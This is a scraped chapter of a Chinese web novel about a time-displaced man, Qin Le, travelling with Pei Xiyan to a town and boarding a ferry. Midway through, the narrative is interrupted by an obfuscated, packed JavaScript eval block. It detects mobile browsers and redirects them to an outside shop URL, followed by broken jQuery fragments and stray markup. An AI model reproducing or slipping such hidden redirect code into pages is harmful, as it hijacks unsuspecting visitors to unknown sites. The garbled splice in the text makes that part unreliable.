文趣网 > 都市小说 > 计鼓听铃 > 3. 茫茫前路
    “四百九十八,四百九十九,五百,一千。”

    “一,二,三……”

    秦乐在溪边否掉了各种挖野菜住山洞的方案,最终决定要去都城看看。

    既然来了古代,这不得去看看宝马雕车香满路的真实场景。

    没有手机,也没有伴,一路上风景虽好,却也没什么心情看。他低头数着自己的步数,然后换算成距离。

    原本他是沿路慢慢走的,可不知道什么原因,总觉得口渴,索性沿着河走方便喝水。只是没一会河流就转向远离了道路,他只好又回到路上。

    没有水喝,他口渴得厉害,步子也数乱了。

    远远看到茶亭,他急忙跑过去,向施茶人讨了几杯冷水喝。

    施茶人见他回来,知道他是没找着家,问他后面什么打算,秦乐只说走一步看一步。

    秦乐喝完水还杯子,施茶人说愿他能早日回家,秦乐拱手道谢,然后朝施茶人指的县城方向离去。

    “三百三十七,三百三十八,两百四,两百五……”

    秦乐胡乱数着步子,不再想过去未来,只管当下。他把这段路当做是放假出游,用心感受此刻的山水田园。

    走到一处弯道,他隐约听见前方有敲锣打鼓的声音,于是加快步伐,想去凑凑热闹。

    拐过弯,眼前出现一座石桥,桥旁停着一辆记道车。

    不会是裴习彦的吧?

    秦乐走到桥上,一个沿山脚带状分布的村庄前正在摆酒席,不像婚嫁也不像丧葬,没有什么装饰,人也不多,看起来像是散场了。

    他站在桥上张望一会,没看到想象中的热闹场面,于是走下桥,围着记道车转了一圈,确认这就是裴习彦的车。因为他在被怀疑时,忍不住抠掉了一点木板边缘的木屑。

    车停在路边,不像是回家了,裴习彦难道是去蹭饭的?

    秦乐手指敲着鼓,在那片桌子中间寻找裴习彦。但他的视力并没有这么好,根本看不清人。

    一低头,他发现之前裴习彦坐的那侧车板旁边挂了两个竹筒,靠后的那个里面有一把竹签,前面那个是空的。

    他拿起一片竹签,很普通,没什么标记,又放回去了。

    “小马,你主人呢?”

    秦乐试探着伸出手,想去摸马的脸。

    那马很温顺,不响不动,秦乐轻轻摸了两下,“真乖,不知道我能不能赚到钱,到时候也买一匹马,再买辆记道车,然后就创办一个咚咚打车。”

    秦乐被自己的想法逗笑了,他又往村里看了一圈,没找到人,于是对马挥挥手,走了。

    越往前走,流水声越大。

    走过一座小山头,一条宽阔的江出现在他左侧。江面上还有两条船,顺水而下。

    “真美啊!”

    秦乐站在原地,用手比着假相机给江上小船拍照。

    “我新买的相机啊,还没出去拍过照呢。”

    “人生啊,果然无常。”

    ……

    身后传来马蹄声,但正拍得起劲的秦乐沉浸在找角度和碎碎念里,自动屏蔽了外界声音。

    裴习彦坐在车上,看着路边不断变换怪异姿势的秦乐,额头上的碎发都被吹成了问号的形状。

    还真是个怪人。

    裴习彦走过去,在秦乐身侧停住脚步,“秦兄这是……小心!”

    半蹲在河岸边想用树叶做前景的秦乐被突然出声的裴习彦吓得一抖,然后脚下一滑,差点摔进河里。

    裴习彦一把抓住他的手,将他稳住,“没事吧?”

    “没事没事,吓我一跳。”秦乐拍着胸口,往裴习彦身后看了看,又看着他问,“你吃好饭了?”

    “吃好了,秦兄怎么会在这里,想起家在哪了?”

    “没有,想不起来,四处转转,你是要去县城吗?”

    “秦兄怎么知道?”

    “施茶人告诉我的,去县城就这一条路。”

    “你也要去县城?”

    “嗯……那个,方便带我一段吗?”

    “行,走吧。”

    秦乐没想到裴习彦这么爽快就答应了,愣了一下才跟着他坐上车。

    记道车缓缓行驶在路上,秦乐只安静一会,就问裴习彦桥边那个村在摆什么宴。

    裴习彦说是村里孝廉要去都城了,祖道饯行。

    秦乐知道饯行,但不知道祖道,他以为是阻拦的阻,就嘟囔了一句没挡到路吧。

    “祭祀路神,是为祖道。”裴习彦说,“秦兄应该没怎么出过远门吧。”

    “嗯,我们村的人基本不出山,这次也是没办法。”秦乐讪讪一笑,看着前面一栋越来越近的建筑。

    建筑前的空地上摆了两张桌子,有三个人在喝茶聊天。

    秦乐看着他们手里的茶杯,感觉自己要渴死了,他厚着脸皮问裴习彦,“裴兄,你要喝茶吗?”

    “不用,我不渴。”裴习彦目视前方,完全没看秦乐。

    “那你能等我一会吗,很快,我就去喝一杯冷水。”秦乐着急地说。

    “嗯?秦兄直说便是。”裴习彦靠路边停下,秦乐跳下车,跑去找坐在大门口的人讨水喝。

    “一钱。”门前那个像管理员的人说道。

    “不是不用钱吗?”秦乐问。

    “他跟我一起的。”裴习彦走过来,在一旁的册子上盖了章。

    秦乐往纸上看去,一堆线条,看不懂。

    可是,印章?

    裴习彦难道是什么官?!

    皇子王爷?钦差大臣?还是……微服私访……

    “秦兄,去喝茶吧。”裴习彦把秦乐乱七八糟的猜想打断了。

    秦乐哦一声,满腹疑问倒了几杯水喝。

    他止了口渴,好奇心也忍不住了,于是问裴习彦,“你是什么官吗?”

    “不是。”裴习彦很快回答了他,“秦兄吃春盘吗?”

    “春盘?”秦乐没听过这名字,不知道是什么菜,虽然他不饿,但还是想看看这是个什么吃的,就对裴习彦点点头,说吃。

    不过,为什么还不饿,这都下午了。

    可能是因为心情不好吧。

    “这个茶亭大了好多,还有东西吃。”秦乐转移自己的注意力,在屋里扫了一圈。

    “这是驿亭,十里一设。”裴习彦刚说完,亭役就来了。

    “请用。”亭役把一盘葱蒜香菜放在他们桌上,行礼走了。

    裴习彦把盘子推到秦乐面前,“秦兄吃吧。”

    “这就是春盘吗?”秦乐看着一盘自己不爱吃的配料围着中间的饼皮,有点下不去手。

    “嗯,春日食春盘,养阳正气。”裴习彦捏起一张饼,五种菜各取一点,放在饼上,卷起来吃了一口。

    他又朝秦乐一伸手,让他也这样吃。

    五种菜里有两种秦乐都不喜欢吃,一种他压根不吃。生香菜和生葱蒜放一起,他都不敢想会是什么味道。

    他满脸拒绝,只想放点小油菜和韭菜,于是忽略裴习彦的目光,真的在饼上只放了小油菜和韭菜,卷着一口吃了。

    裴习彦“嗯?”了一声,但也没说什么。

    生油菜味道还行,韭菜放的少,没有很怪。

    秦乐又卷了一个只放小油菜的,一口下去很清爽。

    “秦兄只吃芸苔吗?”裴习彦忍不住问他。

    “芸苔?”秦乐指着油菜问,“油菜吗?”

    “油菜?”裴习彦听不懂,不过他很快就接受了这个说法,“嗯,秦兄不吃葱蒜胡荽吗?”

    “我不喜欢吃这些,还是你吃吧。”秦乐点点头,把盘子推过去。

    他把盘子里的三片油菜一起卷起来吃了,水灵的菜搭配带着麦香的饼,味道不错。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17572046|204930||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>裴习彦吃完剩下的饼和菜,喝完茶,问秦乐走不走。

    秦乐正聚精会神听门外三人聊天,等裴习彦问第二遍时才说走,然后慢悠悠站起来,慢吞吞走出门。

    等记道车出发了,他才问裴习彦,“他们说的孝廉,就是之前那个村里的吗?”

    “正是。”

    “他娘现在真能走了?”

    “能,我在他家见到了,虽然走不了多远,但也不用终日卧床了。”

    “真孝顺啊。”

    秦乐感叹完就靠着车板,双眼无神,看着茫茫前路。

    裴习彦也不知道想起了什么,神情略带伤感。

    望安城门处人来人往,有挑着空篮子结伴出城的人,有拉着哭闹小孩快步行走的人,入城主道两旁摊主客人讨价还价,都希望能早点回家。

    快要日落了。

    记道车在城里走的很慢,裴习彦说话也很慢。

    “现已入城,不知秦兄有何打算?”

    “你知道去都城要往哪个方向吗?”

    “都城?你要去南康城?”

    “嗯,既然出来了,去都城长长见识也好,等将来记忆恢复了,再回去讲给家人听。”

    “也好,渡口就在前方,过了江往南走,多找人问路,这样不容易走错。”

    “好,谢谢。”

    “今日天色已晚,秦兄渡了河就找客馆歇息吧。”

    裴习彦在渡口前停下来,在秦乐手上放了一个小布袋。

    是秦乐还回去的五十个铜钱。

    “秦兄还是拿着吧。”裴习彦道。

    “我还以为你要过几天才发现呢。”秦乐拿着小布袋,有点惆怅。

    他本来是想着少欠点人情,就把一半钱放进竹筒里了,毕竟人海茫茫,以后很难遇到了。

    “竹片往里一放就知道了,而且阿翁也一直教导我,出门在外,遇到能帮的,总是要帮一把的。”裴习彦在布袋上拍了拍,“秦兄一路顺风。”

    “谢谢你,希望我们有缘再会。”秦乐把布袋拿好,跳下车,朝裴习彦行礼后,又对他挥挥手,“再见,也祝你一路顺风。”

    秦乐说完,转身向渡口走去。

    他学着前面的人那样给了船夫五个铜钱,然后踩着木板,摇摇晃晃上了船。

    他远远看到裴习彦还在原地,应该在看这边,他举高手,朝裴习彦挥了挥。

    刚刚站他前面的男子看到他的行为,往旁边站了站。

    秦乐也无所谓,把身上的铜钱都装在布袋里拿好,就看着江对岸发呆。

    “呜~我要跟小六一起玩,呜……”

    “明日再来便是,回家跟阿姐玩,别哭了。”

    之前路上看到的那个哭闹的小孩也上船了,他娘在轻声哄他。

    “呜……”小孩抬着头,睁开泪汪汪的眼睛,看到了在对他做鬼脸的秦乐。他一下就不哭了,还擦擦眼睛,一眨不眨看着秦乐。

    秦乐冲他吐舌头,皱着脸装作咬他一口。

    小孩也不怕,反而笑了起来。

    小孩母亲看秦乐在逗孩子,对秦乐颔首屈膝,表示感谢。

    船夫把木板拿开,用桨往岸上一顶,船就往前走了。

    秦乐晃了一下,小孩笑得更开心了。

    他和小孩互相做了会鬼脸,那小孩开口问他,“郎君的头发怎么比我的还短啊?”

    “我的头发被火烧掉了,所以短。”秦乐瘪着嘴说。

    “还好郎君无事,头发还能再长。”小孩母亲说道,“孩童不懂事,还请郎君不要见怪。”

    “没事,小孩子正是好奇的时候。”秦乐说完,摸了摸那小孩的头。

    秦乐他们三人站在一起闲聊,之前那个青年男子站在他们身后远一点的地方,倒也融洽,船也快到江中间了。

    “水里有人!”那小孩突然大声说。